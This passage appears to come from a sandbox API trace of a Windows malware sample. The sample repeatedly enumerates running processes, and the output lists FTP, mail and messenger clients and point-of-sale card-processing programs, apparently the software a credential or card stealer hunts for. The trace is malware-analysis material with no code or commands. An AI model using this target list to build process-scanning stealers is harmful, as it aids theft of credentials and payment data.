lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0293.682] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0293.684] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0293.687] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0293.689] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0293.691] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0293.693] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0293.695] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0293.698] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0293.701] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0293.703] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0293.706] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0293.758] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0293.761] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0293.763] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0293.766] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0293.770] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0293.772] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0293.775] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0293.777] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0293.780] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0293.782] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0293.785] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0293.787] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0293.790] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0293.833] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0293.835] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0293.838] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0293.840] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0293.843] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0293.845] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0293.849] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0293.851] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0293.854] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0293.858] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0293.860] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0293.863] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0293.865] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0293.868] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0293.870] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0293.873] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0293.875] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0293.877] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0293.932] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0293.934] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0293.937] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0293.939] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0294.040] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0294.044] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0294.046] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0294.048] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0294.051] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0294.053] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0294.055] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0294.057] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0294.059] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0294.061] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0294.063] CloseHandle (hObject=0x344) returned 1 [0294.064] Sleep (dwMilliseconds=0x64) [0294.163] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0294.181] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.183] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0294.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0294.187] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0294.189] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0294.191] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0294.193] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0294.195] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0294.197] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0294.198] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.200] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.203] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0294.205] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.254] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.256] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.258] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.260] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.261] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.263] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.265] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0294.267] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0294.270] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0294.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.274] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0294.276] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0294.278] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0294.280] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0294.282] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, 